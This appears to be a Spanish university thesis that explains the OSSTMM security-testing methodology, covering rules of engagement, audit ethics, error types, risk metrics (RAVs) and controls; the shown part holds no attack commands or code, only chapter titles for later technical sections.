Professional Documents
Culture Documents
Informática y la OSSTMM
Página 1
Página 2
Índice de contenido
Notas del autor.................................................................................................................................6
Introducción.....................................................................................................................................6
Parte 1: Documento OSSTMM............................................................................................................8
Aclaraciones previas........................................................................................................................9
Prólogo.............................................................................................................................................9
Introducción...................................................................................................................................10
Ámbito o Alcance..........................................................................................................................11
Propósito....................................................................................................................................11
Acreditación..............................................................................................................................11
Términos y definiciones.................................................................................................................11
Términos generales...................................................................................................................12
Conformidad..................................................................................................................................12
Reglas de compromiso:..................................................................................................................13
Ventas y marketing....................................................................................................................13
Evaluación/Entrega estimada....................................................................................................13
Contratos y negociaciones........................................................................................................14
Ámbito......................................................................................................................................14
Plan de trabajo...........................................................................................................................14
Proceso del test..........................................................................................................................14
Informes....................................................................................................................................15
Proceso...........................................................................................................................................15
Mapa de Seguridad........................................................................................................................17
Lista de módulos del mapa de seguridad..................................................................................17
Evaluación de riesgos....................................................................................................................17
Evaluación de riesgos................................................................................................................17
Seguridad perfecta:...................................................................................................................18
Métricas de seguridad....................................................................................................................18
Aplicando Risk Assessment Values..........................................................................................18
Seguridad real.......................................................................................................................19
Seguridad operacional (OPSEC)..........................................................................................19
Controles..............................................................................................................................20
Tipo A.......................................................................................................20
Tipo B.......................................................................................................21
Limitaciones.........................................................................................................................21
Seguridad real.......................................................................................................................23
Secciones y módulos......................................................................................................................23
Metodología...................................................................................................................................24
Sección A – Seguridad de la información......................................................................................24
1. Revisión de la inteligencia competitiva................................................................................24
2. Revisión de la privacidad......................................................................................................26
3. Recolección de documentos..................................................................................................26
Sección B – Seguridad de los procesos.........................................................................................27
1. Testeo de Solicitud................................................................................................................27
2. Testeo de sugerencia guiada..................................................................................................29
3. Testeo de las Personas Confiables.........................................................................................33
Sección C – Seguridad en las Tecnologías de Internet..................................................................34
1. Sondeo de la Red...................................................................................................................34
2. Escaneo de Puertos................................................................................................................37
Página 3
3. Identificación de Servicios....................................................................................................37
4. Identificación del Sistema.....................................................................................................37
5. Búsqueda de Vulnerabilidades y Verificación.......................................................................38
6. Testeo de Aplicaciones de Internet........................................................................................39
7. Testeo del Router...................................................................................................................40
8. Testeo de Sistemas de Confianza..........................................................................................43
9. Testeo de Firewall.................................................................................................................43
10. Testeo de Sistemas de Detección de Intrusos......................................................................43
11. Testeo de Medidas de Contención.......................................................................................45
12. Password Cracking..............................................................................................................45
13. Testeo de Denegación de Servicio......................................................................................46
14. Revisión de las Políticas de Seguridad...............................................................................47
Sección D – Seguridad en las Comunicaciones.............................................................................48
1. Testeo de PBX.......................................................................................................................48
2. Testeo de Buzón de Voz/Contestador....................................................................................49
3. Revisión de los faxes.............................................................................................................50
4. Testeo de Módems.................................................................................................................51
Sección E – Seguridad Wireless....................................................................................................53
1. Testeo de Radiación Electromagnética.................................................................................53
2. Testeo de Redes Wireless......................................................................................................54
3. Testeo de Redes Bluetooth....................................................................................................55
4. Testeo de Dispositivos Inalámbricos.....................................................................................57
5. Testeo de Dispositivos Inalámbricos de Mano......................................................................58
6. Testeo de Comunicaciones Inalámbricas..............................................................................58
7. Dispositivos de Vigilancia Inalámbricos...............................................................................59
8. Dispositivos de Transacciones inalámbricas.........................................................................60
9. Testeo de RFID.....................................................................................................................60
10. Testeo de Infrarrojos...........................................................................................................62
11. Revisión de privacidad........................................................................................................63
Sección F – Seguridad Física.........................................................................................................63
1. Revisión de Perímetro...........................................................................................................63
2. Revisión de Monitorización..................................................................................................63
3. Testeo de Controles de Acceso..............................................................................................63
4. Revisión de Respuesta ante Alarma......................................................................................63
5. Revisión de Localización......................................................................................................63
6. Revisión del Entorno.............................................................................................................64
Parte 2: Conceptos Técnicos...............................................................................................................65
Introducción...................................................................................................................................66
Introducción a Backtrack y justificación.......................................................................................66
Instalación del ambiente de pruebas..............................................................................................66
Backtrack servicios básicos...........................................................................................................67
Cambiar la contraseña que viene por defecto en BackTrack. ..................................................67
Configuración y puesta en marcha los servicios básicos de BackTrack. .................................67
Puesta en marcha de servidor SSH...........................................................................................68
Servidor Web.............................................................................................................................69
Servidor atftpd...........................................................................................................................69
Servidor VNC............................................................................................................................70
Backtrack Netcat............................................................................................................................71
Identificando Banners de Servidores web.................................................................................73
Modo Listen de Netcat..............................................................................................................74
Página 4
Envío de archivos......................................................................................................................75
Administración remota..............................................................................................................76
Shell inversa..............................................................................................................................77
Test de penetración........................................................................................................................77
Introducción..............................................................................................................................78
Escaneo e identificación del sistema.........................................................................................78
NMAP..................................................................................................................................78
Introducción.....................................................................................................................78
Host discovery.................................................................................................................79
Escaneo de puertos..........................................................................................................80
Errores.............................................................................................................................80
Máquinas online..............................................................................................................82
Exploración inicial de la máquina 192.168.1.100...........................................................82
Verificación de puertos abiertos con servicios escuchando.............................................86
Recolección de información.................................................................................................89
Ataques de diccionario.........................................................................................................89
Nombres de usuario.........................................................................................................90
Diccionarios.....................................................................................................................90
xHydra.............................................................................................................................90
Exploración del sistema........................................................................................................94
Escalada de privilegios.........................................................................................................95
Descifrando Shadow.............................................................................................................95
Valoraciones finales.......................................................................................................................97
Valoración primer taller............................................................................................................97
Valoración del segundo taller....................................................................................................97
Parte 3: Conclusiones y cierre del Proyecto.......................................................................................99
Conclusiones y cierre...................................................................................................................100
Bibliografía..................................................................................................................................101
Página 5
Notas del autor
Desde bien joven, me ha fascinado la informática. Ha sido una parte bastante importante en la
generación de los 80, donde el surgir de los videojuegos, la informática, y más tarde Internet, nos ha
mantenido siempre expectantes de las nuevas tecnologías, y conviviendo con ellas desde bien
pequeños.
Con la aparición de Internet, y los medios informativos tratando de hacer noticia de la misma, ha
surgido constantemente el tema de los hackers, esos piratas informáticos que aparecían con
capuchas en cuartos oscuros, y que conseguían asaltar bancos por medio de los ordenadores, o las
leyendas urbanas de jóvenes que conseguían asaltar el pentágono u otras organizaciones de
inteligencia.
Siempre me he mostrado escéptico en torno a estos asuntos tan clandestinos, aunque no puedo
evitar negar que siempre he sentido curiosidad. ¿Cómo conseguían hacer esas cosas que parecen de
ciencia ficción? Ha habido muchas películas que además han tratado de endulzarlo y maquillarlo
para mantener al espectador en vilo, y tratar de vender en taquilla.
Tras haber trabajado en una empresa de seguridad informática, supe que quería aprender sobre todo
este mundo difícil, donde hay que mantenerse al día. Un mundo que es complicado de aprender, ya
que existe mucha fantasía y exceso de información por la red, llena de información desfasada y
muchas veces con fines maliciosos.
Es por todo esto, que, aprovechando el tener que realizar un proyecto final de carrera, haya
aprovechado esta oportunidad para aprender todo lo que pudiera sobre el tema, y ayudar a gente,
que venga detrás de mí, a aprender lo que yo he aprendido. Explicar desde un punto de vista de un
ingeniero informático que desea hacer de la seguridad su profesión todo lo posible sobre auditorías
de seguridad informática.
Introducción
La seguridad de las TI es un tema frecuente al que se enfrentan las empresas en estos últimos
meses. Se ha hablado de fallos de seguridad incluso en medios de comunicación no especializados,
por ejemplo del fallo en el protocolo DNS
[http://www.elpais.com/articulo/internet/fallo/peor/temido/elpeputec/20080807elpepunet_7/Tes]
(que tanta repercusión ha tenido)y el del no tan conocido BGP
[http://www.elpais.com/articulo/internet/Internet/deja/abierta/puerta/espias/elpeputec/20080827elpe
punet_5/Tes], lo cual hace ver, la importancia que está tomando la seguridad en la sociedad actual, y
sobre todo en la de las empresas.
Página 6
partir de ahora). Teniendo en cuenta, que ésta es, quizás la metodología más
extendida en el campo, siendo además abierta, me ha resultado interesante tomarla
como referencia.
La primera pregunta que debemos responder antes de adentrarnos en el proyecto, es: ¿Que es una
auditoría de seguridad? ¿Que es un test de intrusión?
Una auditoría de seguridad, es el análisis y estudio de un sistema, para intentar conocer las
limitaciones de un sistema (vulnerabilidades, debilidades, preocupaciones etc.. según OSSTMM),
para posteriormente poder corregirlas.
Página 7
Parte 1: Documento OSSTMM
Página 8
Aclaraciones previas
Esta parte del presente documento, no pretende ser una traducción de la versión pública más
actualizada de la Open Source Security Test Methodology Manual (OSSTMM de ahora en
adelante). Tampoco pretende ser una metodología que la sustituya, ni pretende ser un documento
legal u oficial. Se pretende, pues, que sea un documento de consulta, para aquellas personas que
deseen enfrentarse a una metodología de seguridad informática por vez primera, y que, tras
enfrentarse al crudo (y en ocasiones demasiado correcto) lenguaje de una metodología, quieran un
acercamiento previo, con un lenguaje más propio de un ingeniero en informática. Sin embargo,
tampoco se pretende ahondar en cuestiones técnicas (refiriéndonos por técnicas a las herramientas
que habrá de usarse), sino en que el lector pueda encontrar ejemplo y explicaciones de lo que se
encuentra en cada sección. Se añadirán casos con los que el autor de este documento se ha
encontrado en su investigación para la realización del mismo, y se incluirán aquellas partes de la
OSSTMM que se crean oportunas para la comprensión de la misma.
Prólogo
Página 9
Además, son estos pequeños detalles (por ejemplo, que un programa no compruebe una entrada
de datos), que no son visibles, donde un hacker malintencionado encontrará la puerta de entrada,
ya que todo aquello que no son “detalles” son fácilmente encontrados, y por tanto, solucionados.
– Eficiencia y creatividad:
Aunque el presupuesto sea bajo, debemos intentar que el poco tiempo que podamos dedicar al
testeo sea lo más eficiente posible. Así podremos justificar bien nuestro trabajo. Las
organizaciones verán que lo que han pagado por los servicios prestados realmente sirven de
algo, y muchas más organizaciones querrán hacerlo. Hay que trabajar de forma ordenada,
tenerlo todo preparado para antes de empezar, y trabajar de forma profesional y rápida. Muchas
empresas ven las auditorías como un gasto, quizás no inútil, pero no tan importante como lo
pueda ver un auditor, y suelen invertir poco dinero en ello.
Introducción
La OSSTMM comenzó allá por finales del año 2000, y creció rápidamente gracias a la experiencia
de miles de personas que contribuyeron al proyecto. Gracias al hecho de ser una metodología libre,
los testeadores participan en un gran plan contribuyendo al movimiento open-source, y
estandarizando una metodología que todo el mundo pudiera acceder, o a mejorar, por lo que creció
enormemente hasta convertirse en uno de los principales referentes en su campo hoy en día.
Originariamente, perteneció al dominio ideahamster.org, que más adelante pasó a ser el actual
ISECOM (Institute for Security and Open Methodologies). En 2003, ISECOM estuvo registrada
como como una organización sin ánimo de lucro en España y en los EEUU. Hasta ahora, la
OSSTMM trataba solamente una forma de hacking ético, pero en 2005, pasó a ser una forma de
verificar que la seguridad se estaba tratando de forma correcta a nivel operacional, y en 2006, este
manual pasó a ser el estándar para aquellos que necesitaran una seguridad más allá del que la
legislación y regulaciones ofreciesen.
Un punto importante de la OSSTMM, es el tener en cuenta que el objetivo del manual, es crear un
solo método para realizar pruebas de seguridad en profundidad. Es un conjunto de pasos que deben
ser realizados una y otra vez, hasta que los resultados esperados se obtengan. No es la idea (ni se
encontrará en ninguna otra parte) el recomendar al auditor el utilizar esta metodología como un
diagrama de flujos o utilizarla como una serie de pasos con un cierto orden formal, sino
simplemente haber completado y revisado todos los pasos que se contemplan, en el tiempo
establecido.
Algo en lo que esta metodología hace hincapié, es el hecho de que muchos testeadores de seguridad
Página 10
creen que los tests de seguridad son una “fotografía” del punto actual de seguridad en el sistema. El
tener una visión actual y puntual de como es el sistema en ese momento. Pero... ¿es esta
“fotografía” suficiente? La metodología intenta enriquecerlas con los llamados Risk Assessment
Values o Valores de Evaluación de Riesgos (de ahora en adelante RAVs), que proporcionarán
información extra en contextos tales como frecuencias y tiempos al test de seguridad. La
“fotografía” se convertirá en un perfil o Profile abordando un rango de variables a lo largo de un
periodo de tiempo antes de degradarse por debajo de los niveles de riesgo aceptable. Estos RAVs y
Profiles se explicarán con detalle en su sección correspondiente.
Por último, otro de los objetivos de la metodología es que pueda evitarse, que el estilo personal,
asunciones falsas, o prejuicios de los testeadores intervengan en los resultados del test. El uso de
una metodología igual para todo el mundo, conseguirá la imparcialidad de los tests, y por lo tanto,
que tengamos una base comparable entre sistemas, pudiendo así comparar unos con otros, y
graduarlos.
Ámbito o Alcance
Propósito
Como ya se ha comentado antes, el principal objetivo o propósito es el ofrecer una metodología
científica a los tests de seguridad, pero además, ofrece una guía a los auditores para realizar una
auditoria OSSTMM certificada. Esta guía existe para asegurar que:
Acreditación
Como hemos dicho, se puede realizar una auditoria OSSTMM certificada. Para ello, se requiere un
informe de auditoria de la OSSTMM firmada por el testeador o analista que cumpla los requisitos
de informes. Estos informes, junto con una versión anónima del informe de auditoria remitida a
ISECOM para revisión proporcionará una certificación, que entre otras ventajas, hará responsable al
auditor y servirá de prueba del test, y por tanto algo que probará que el sistema ha superado el
control de calidad de seguridad de OSSTMM, lo cual siempre será deseable para cualquier
empresario.
Términos y definiciones
Página 11
Términos generales
Conformidad
Esta sección, aunque no contiene aspectos puramente informáticos, he creído que sería interesante
incluirla, pues hay algunas definiciones legales que en España difieren del resto del mundo.
Además, es posible, que a un Ingeniero en Informática, le resulte más interesante hacerse una idea
general de ésta sección. Para una definición más completa o formal, siempre se puede consultar la
propia OSSTMM o textos jurídicos.
Página 12
encontrar un artículo muy interesante sobre esta ley en el número 2 de “Los Cuadernos de
HackxCrack”.
2. Regulación: en este apartado, se habla de actividades reguladas (es decir, que no hayan
lagunas), de forma que no haya miedos o reparos por parte de las organizaciones para tomar
estas acciones. Lo opuesto a lo regulado, sería lo comúnmente conocido como “bordear la
ley”. Una empresa, siempre preferirá tomar decisiones o acciones que estén reguladas para
no arriesgarse a posibles penas de cárcel o sanciones económicas.
3. Políticas: éstas se conocen, muchas veces como directrices, guías, normativas, o prácticas
hacia el cumplimiento de los objetivos de una organización. También se les suele conocer
como buenas prácticas. La OSSTMM, entre otras, está de conformidad con las
publicaciones de la NIST (National Institute of Standards and Technology), famosa por
algunos títulos en seguridad informática que ofrece.
Reglas de compromiso:
En esta sección se habla de prácticas éticas, que todo aquel que realice esta metodología debería
seguir. A personas afiliadas, compañeros, miembros del equipo o asociados a ISECOM están
obligados bajo contrato a cumplirlas. De la versión anterior del documento a esta, se han suprimido
algunos apartados (conocidas en la anterior versión como “reglas adicionales”) que hacían
referencia a algunos cálculos que debería de hacerse para la estimación del tiempo y para el test de
seguridad. Recomiendo su lectura en caso de estar interesado en caso de estar interesado en un
análisis más metódico (aunque no viene estipulado en la presente metodología).
Ventas y marketing
A la hora de vender nuestros servicios para realizar un test de seguridad, no debería usarse el miedo.
Tampoco debería de ofrecerse servicios gratuitos en caso de no poder penetrar en los sistemas, ni
intentar penetrar en ellos sin el consentimiento escrito del cliente. Esto, hasta ahora parece lógico
(tanto legal, como éticamente), pero algo que sorprende, es el hecho de que no pueda usarse los
nombres de antiguos clientes (¡ni siquiera con su consentimiento!) como forma de promocionarse,
aunque sí de otras secciones de la misma organización. Algo que también suele sorprender, es la
buena práctica de no realizar concursos (o prácticas ilegales, por supuesto) de cracking, hacking etc
para promocionarse. Esto contrasta con la extendida idea de los hackers que van a la cárcel, y más
tarde encuentran trabajo en muy poco tiempo. Por último, cabe decir que los clientes deberían de
conocer objetivamente el estado la seguridad y las medidas de seguridad que posee.
Evaluación/Entrega estimada
En esta sección, solo quiero resaltar, el hecho de que no debería de realizarse tests de seguridad
sobre sistemas obviamente poco seguros, o hasta que los sistemas de seguridad hayan sido puestos
en marcha. Esto es algo que parece obvio, sin embargo, debe ser recordado, pues poca gente se lo
plantea a la hora de realizar el test.
Página 13
Contratos y negociaciones
Ámbito
Esta sección es muy corta en la OSSTMM, pero me parece de vital importancia que se deba resaltar
claramente, los limites del alcance del test, y no comenzar el test, antes de dejar todo esto definido
en el contrato.
Plan de trabajo
En esta sección, se habla del plan que el auditor debería de confeccionar para realizar el test. En el
se debería incluir el tiempo dedicado, tanto en fechas como horas de trabajo, incluyendo tanto el
tiempo del test en sí, como su análisis.
Comparando esta sección de la OSSTMM (la 2.2) con la versión anterior, en esta sección se ha
incluido el que el plan de testeo no debe incluir planes, procesos, técnicas o procedimientos que
estén fuera del área de competencia obtenido por entrenamiento y educación del auditor. Esto
parece estar en concordancia con el espíritu del documento, ya que en él, no se incluyen
herramientas, ni comandos a utilizar, intentando no inmiscuirse en aspectos técnicos.
Esta sección ha cambiado mucho desde la última versión de la metodología, y ha pasado a ser la
más extensa (dentro de las reglas de compromiso).
En ésta, se habla de las buenas prácticas que debe de tomar el auditor durante el test o auditoría en
sí. Me gustaría destacar, algunos puntos (aunque no por ello han de ser más importantes que los que
Página 14
no hago referencia), que me llaman la atención. Por ejemplo, el hecho de que no debería permitirse
grandes cambios de objetivos por parte del cliente, protegiéndose así, al auditor, de tener que salir
constantemente de sus planes por, si se me permite la expresión, caprichos del cliente. Además, se
le hará firmar al cliente un consentimiento para eximir al auditor de daños ocasionados durante la
auditoría, o de allanamiento, a menos que haya mala fe durante la auditoría.
Otro punto que me gustaría resaltar, es el de que la metodología dice que no debería subirse los
niveles de seguridad durante la auditoría, y para ello, solamente se debería de avisar a algunas
personas sobre el test.
Si el test se realiza con algún tipo de privilegios, primeramente, debería realizarse sin ninguno, y
después, debería de darse dos accesos distintos (por ejemplo, dos passwords de áreas distintas)
típicos, ni más ni menos seguros que los que se usan de forma regular.
Por último, creo importante resaltar, el que las grietas de seguridad importantes encontradas,
deberían de ser notificadas inmediatamente al cliente.
Informes
En esta sección se incluye, en su mayoría prácticas de sentido común (aunque nunca está de más
recordarlo) como temas de privacidad, objetividad etc.. que recomiendo leer al menos una vez, para
preguntarnos si realmente lo hemos cumplido.
Como puntos a destacar:
•Si en alguna investigación o prueba, hemos de hacer mención de alguna persona que no esté
entrenada en seguridad, o no perteneciente al personal de seguridad, solamente debería mencionarse
en forma de estadísticas o sin identificarlo.
•En los informes, deberían incluirse tanto las medidas de seguridad fallidas como las que no,
además de las anomalías e incógnitas encontradas durante la exploración. Es decir, debemos,
además de informar del trabajo que hemos realizado, nuestros límites o trabajo no realizado.
•Antes de enviar el informe, deberíamos informar al cliente de que vamos a hacerlo, y establecer un
canal seguro para su entrega. Sería fatídico que, después de todo el trabajo realizado, se echara a
perder porque los informes cayeran en manos equivocadas.
Proceso
El proceso del testeo, está considerado como un evento de test discreto de un sistema dinámico y
estocástico. Por estocástico, entendemos aquel sistema que funciona, sobre todo por el azar. Con
esto no nos referimos a la indeterminación de los sistemas informáticos, sino a la gran cantidad e
variables que interactúan las unas con las otras. Y no nos referimos únicamente a la interacción
entre distintas máquinas, sino también a su entorno. A pesar de que podamos tal vez, adivinar el
estado futuro del sistema bajo ciertas condiciones, o de su entorno (por ejemplo, podemos saber que
en un país cercano al ecuador hará más calor que en uno nórdico), nunca podremos estar
completamente seguros de ello.
Un test discreto examina el estado de este sistema dinámico en periodos de tiempo discreto.
Monitorizar tareas de forma contínua dejaría de ser práctico (demasiada información, coste
computacional y espacial... etc).
Teniendo esto en cuenta, el auditor intentará abordar el sistema de una forma distinta a la que el que
lo implementó pensaba: poner el sistema al limite, simular situaciones anómalas para comprobar
que el sistema realiza las funciones que se supone que debería de realiza. El auditor simula las
Página 15
condiciones de esas situaciones, y monitoriza para comprobar los resultados. Sin embargo, no
debemos fiarnos al 100% de estos datos obtenidos, ya que muchas veces pueden aparecer errores,
algunos de ellos devastadores para el objetivo.
1 Falso positivo Este tipo de errores se dan cuando se detecta un error que
en realidad no existe. Por ejemplo, que se detecte un DoS
cuando en realidad, es que se ha reintentado la conexión
muchas veces.
2 Falso negativo Es el opuesto al falso positivo: aquí no se detecta nada,
cuando en realidad sí debería de detectarse. Por ejemplo,
el antivirus no detecta un virus en el sistema.
3 Gray positive Esto se obtiene, cuando el sistema está preparado para
responder que siempre está en un estado concreto, tenga el
estado que tenga. En ocasiones, las herramientas detectan
un estado, y el auditor podría tomarlas por ciertas. Un
ejemplo, sería que la wifi mostrara que está abierta
siempre, cuando en realidad se está filtrando por MAC.
4 Gray negative Opuesto al gray positive. Es cuando el sistema está
preparado para responder que no está en un estado
concreto, y esto no es cierto. Por ejemplo, que siempre
conteste que sus puertos no están abiertos.
5 Specter o espectral Este tipo de error se obtiene, cuando se toma por cierto un
estado cuando en realidad no se puede saber su estado. Por
ejemplo, cuando el auditor recibe un estado de fuera, y se
percibe como que es de la máquina analizada. Un error
común, es suponer que la respuesta de un eco se deba a la
propia petición. Debemos de tener cuidado con estos
errores, ya que podemos obtener una relación de causa-
efecto equivocada.
6 Indiscretion o indiscreción Este es un tipo de error que se obtiene cuando el estado del
objetivo cambia a lo largo del tiempo, y no necesariamente
siguiendo un patrón.
7 Error de entropía Es cuando se obtiene una relación ruido/señal muy alta,
haciendo que el auditor no pueda determinar el estado del
objetivo.
Página 16
siempre son así de altas.
10 Restricción El error se da cuando no se reconocen restricciones o
limitaciones impuestas, ya sea para el equipamiento, o los
sentidos del auditor.
11 Propagación El auditor no realiza una prueba porque presupone lo que
va a obtener. También puede ser porque las herramientas
están modificadas o calibradas para obtener esos
resultados. El peligro de este tipo de errores, es, como
indica su nombre, que puedan propagarse, y no hacerse
visibles hasta bien entrada la auditoría.
12 Error humano Son causados por la falta de habilidad o experiencia. Un
auditor con experiencia tiene más probabilidad de cometer
un error de propagación, mientras que uno novel, es más
propenso a cometer errores humanos.
Muchos de estos tipos de errores, no se suelen utilizar habitualmente dentro del mundo de la
seguridad informática. Los más comunes son los falsos positivos/negativos o el error humano. El
resto, la metodología los incluye, y deben de conocerse si se quiere seguir la metodología de forma
precisa.
Mapa de Seguridad
No voy a extenderme mucho en esta sección y subsecciones, ya que simplemente presenta una lista
de módulos y un diagrama que me parece muy claro en el documento original. Sin embargo, hay un
par de puntos interesantes:
•El primero, es que a pesar de que hay una serie de módulos claramente especificados, están todos
relacionados, por lo que al hacer pruebas en uno de ellos, se está comprobando algunas partes de
otro.
•El segundo, es que para que pueda decirse que se ha realizado un test de seguridad de la OSSTMM
para una Sección en particular, todos los módulos de la sección tienen que haber sido comprobados,
y si en la infraestructura estudiada no existe un objetivo para un módulo, entonces se deberá
determinar como “no aplicable” en las tablas al final del documento, que deberán de ser entregadas
como parte del informe final.
Evaluación de riesgos
Evaluación de riesgos
Página 17
Según la OSSTMM, riesgo significa que, el limitar la seguridad tenga un efecto perjudicial en las
personas, información cultural, los procesos, negocios, imagen, propiedad intelectual, derechos
legales o capital intelectual. Es importante conocer esta definición para tener clara la postura que
toma la OSSTMM a la hora de tratar lo que las personas entendemos por “riesgo” y así, saber que
entra como parte del trabajo del auditor/tester para realizar su trabajo. Se distinguen cuatro
aspectos:
Seguridad perfecta:
Métricas de seguridad
Esta parte, es de las más importantes de la metodología, ya que convierte el proceso de test de
intrusión/auditoría en algo medible, comparable y escalable. Además, en ellas se refleja no solo los
datos tangibles y referentes a la red, sino que también se ven que partes son inexactas o distorsiones
de resultados.
En esta metodología, a las métricas se las conoce como Risk Assessment Values (RAVs). Estos no
son análisis de riesgos en sí mismos, sino que proporcionan datos concretos para un análisis de
riesgos más concreto y real.
Página 18
Sin embargo, el Actual Security (o seguridad real) solo puede ser calculado por el alcance original.
Si hubiera algún cambio en el alcance (como pudiera ser el número de objetivos, por ejemplo),
habría que recalcular los hashes. Ahora bien, también es posible, coger 2 (o más) ámbitos distintos,
y combinarlos para calcular una Actual Security para todos, considerarlo como un alcance más
grande.
Seguridad real
Tipo Descripción
Operaciones Las operaciones, conceptualmente podemos
entenderlas como los servicios que ofrece el
sistema. Éstas, están definidas por la visibilidad,
confianza y accesos que ofrece el sistema.
Controles Existen 10 tipos de controles. 5 de clase A y 5 de
clase B. Entre estos, podemos encontrar no sólo
aquellos controles que evitan accesos no
permitidos, sino que, por ejemplo, el servidor
esté asegurado contra incendios, de forma que
las pérdidas sean menores. Son controles de
impacto y reducción de pérdidas.
Limitaciones Es el estado actual de las limitaciones que
ofrecen las operaciones y controles. Por poner
un ejemplo, el ver que una cerradura está
oxidada es una limitación.
Página 19
una llave (o tener la llave de todas las
habitaciones). Es el acceso sin autenticación a
algún objetivo. El sistema confía en que si una
persona ha llegado a un determinado punto,
puede llegar al siguiente.
Acceso Un acceso es un punto de interacción con un
objetivo. En la visibilidad, contábamos el
número de objetivos que había. Aquí, contamos
concretamente los accesos. Un ejemplo, podría
ser si podemos conectarnos a un servidor
mediante SSH y samba. Esto sería una
visibilidad de 1, pero hay 2 accesos. En el
manual se incluyen 3 ejemplos muy descriptivos
sobre los accesos.
OPSEC Delta Visibilidad + confianza + acceso.
Controles
La OSSTMM divide los tipo de control en dos grandes categorías. El tipo A (interactivo) y el tipo B
(proceso). A continuación presento los tipos y una descripción:
Tipo A
Página 20
cada instancia de método que se asegure que el
activo falla “de forma segura”.
Tipo B
Tipo Descripción
No-repudio El no-repudio significa que aquella persona que
realiza una acción no pueda negar que lo haya
hecho. Contar por cada instancia de acceso o
confianza que use algún mecanismo de no-
repudio. Un ejemplo de esto, sería que al
acceder a un edificio, sea cual sea el método de
acceso, se grabe con una cámara de video.
Confidencialidad Se encarga de que solamente las partes
autorizadas puedan leer la información
transmitida. Contar cada método que garantice
confidencialidad. Un buen ejemplo, sería el
codificar la información transmitida.
Privacidad La privacidad se entiende como el mantener
oculto el cómo se intercambia la información.
Por ejemplo, intercambiar información fuera de
la visibilidad de terceras partes (por ejemplo,
reuniones de trabajo en despachos cerrados).
Contar cada instancia para acceso o confianza
que mantenga oculto el método de interacción.
Integridad La integridad es el que la información
intercambiada entre las partes involucradas, no
se vea modificado por una tercera parte. Contar
para cada instancia de acceso o confianza que
use algún método que garantice que los datos
han llegado con integridad. Por ejemplo, usando
una hash o codificando los datos.
Alarma Es un control que notifica cuando algún evento
ha ocurrido. Contar cada evento de acceso o
confianza que registre o notifique cuando algún
evento ocurra.
Control Delta (Sumar todos los controles) * 0.1
Limitaciones
Las limitaciones de un sistema, describen el estado actual de su seguridad en cuanto a errores se
refiere. Éstos, se dividen en varias categorías: vulnerabilidades, debilidades, preocupaciones,
exposiciones y anomalías. Más adelante, en esta misma sección se ahondará en estos conceptos.
Existe la creencia, de que las limitaciones solamente son limitaciones cuando no tienen justificación
en el negocio. Puede que desde el punto de vista empresarial así sea, pero desde el punto de vista
Página 21
del auditor, lo son, y han de ser tenidas en cuenta. El auditor las recopilará en los informes, y será
responsabilidad del cliente el tenerlas en cuenta o no. El hecho de que quiera ponerles solución o
no, es una cuestión propia de la estrategia de negocio, donde el responsable de esos activos decidirá
si el riesgo que supone el perder (y recuperar) no justifiquen los costes de reparar o controlar esa
limitación. Además, existen otras razones, como la legislación vigente en la zona del negocio, que
impiden el controlar estos fallos. Por ejemplo, el leer el correo de los empleados para evitar
filtraciones de información está prohibido en España sin orden judicial.
Otro punto importante a tener en cuenta a la hora de contabilizar las limitaciones del sistema, es el
que se deberían contar los errores de seguridad por objetivo, y no los objetivos con errores. Es decir,
debemos hacer constancia de cada fallo que tiene cada objetivo.
A continuación presento una descripción de los tipos de limitaciones, y algunos ejemplos de ellos,
centrándome en las más relacionadas con telecomunicaciones o datos. Para más ejemplos, leer la
propia metodología. Incluye ejemplos de PHYSEC, HUMSEC, COMSEC data, COMSEC
telecommunications, SPECSEC.
Página 22
considera una exposición), o el que una máquina
responda a mensajes ICMP.
Anomalía Una anomalía es un elemento inidentificable o
desconocido, que no sea una operación normal.
Es decir, cuando ocurre algo en el sistema que
no esperamos que ocurra, y que no podemos
clasificar, o que no entendemos porqué ocurre.
Suele ser un signo de que hay algún fallo, o que
acabará ocurriendo.
Ejemplo: recibir respuestas de máquinas de las
que no esperábamos respuesta.
Seguridad real
Para poder medir el estado actual de la seguridad, se requiere un cálculo final para poder comparar
los distintos sistemas, la Seguridad Real. Ésta combina los tres hashes que hemos descrito
anteriormente (operacional, controles y limitaciones), y los combina en un cuarto.
Los parámetros que pasamos a describir a continuación, son utilizados a modo comparativo. El
valor que realmente interesa a la hora de entregar los resultados al cliente, es realmente los RAV,
que el propio ISECOM calculará en función de los resultados que se les envíe en las plantillas que
se adjuntan al final de la metodología. Para poder obtener el certificado de que se ha pasado la
auditoría OSSTMM con éxito, se deberá tener, al menos, un 95% en el RAV, y revisarse una vez al
año.
La forma exacta de calcular los valores que presento a continuación vienen descritas en un
documento en la propia web de ISECOM. Se recomienda su lectura solamente a desarrolladores,
aunque siempre es interesante echarles un vistazo para poder tener en cuenta que es lo que estamos
haciendo:
1.Delta real: Opsec Delta + Control Delta – Limitaciones Delta. Debemos recordar que el Control
Delta, es la suma de todos los controles multiplicado por 0.1. Éste parámetro es útil para poder
estimar el cambio en delta que la solución que el cambio en el sistema aportará.
2.Seguridad real (total): es el estado real de la seguridad presentado como un hash de las tres
secciones, y representado en un porcentaje donde el 100% representa un balance entre los controles
por puntos de interacción vs activos sin limitaciones.
Secciones y módulos
En la metodología, esta sección hace una descripción de consejos que deben de tenerse en cuenta a
la hora de seguir los módulos, secciones y tareas concretas a la hora de realizar el test de intrusión,
como por ejemplo el hecho de que se debe de ser imparcial a la hora de realizar las tareas para
poder obtener resultados de la forma más objetiva posible. Esto ya se ha descrito anteriormente en
el presente documento. Se habla también de que el tiempo es relativo, ya que no todos los sistemas
son iguales. Y no solo con respecto al tamaño, sino también a la complejidad del sistema.
En las próximas secciones, pretendemos describir los distintos módulos que existen en la
metodología, incluyendo experiencia propia, o investigaciones que se han ido realizando sobre las
mismas a lo largo de la realización del presente documento. Para poder consultar las tareas
concretas, y para poder realizarlas correctamente, remitimos al lector al documento original.
Página 23
Metodología
Los tests de seguridad empiezan con una entrada que es, en su forma mas precaria, las direcciones
de los sistemas a auditar. Los tests, terminan con el principio de la fase de análisis, y la elaboración
del informe final. La metodología no afecta a la forma, tamaño, estilo o contenido del informe final,
y no especifica como debe de ser analizado. Esto es tarea del tester y/o la organización.
La OSSTMM se divide en secciones, las cuales se dividen a su vez en módulos, y éstos, en tareas
concretas. Se debe distinguir, entre recolección de datos, y la verificación de los mismos. Es decir,
no solamente se deberá buscar fallos, vulnerabilidades etc, sino que además, se deberá comprobar,
efectivamente, que existen. Es por ello, que una metodología no debe de compararse con un simple
escaneo de vulnerabilidades o puertos. Para realizar la OSSTMM, además, hay que comprobar los
resultados obtenidos.
Al definir la metodología a seguir, es importante no delimitar la creatividad del tester: habrá casos,
en los que estándares o formalismos hagan que la calidad del test pueda mitigar, por lo que siempre
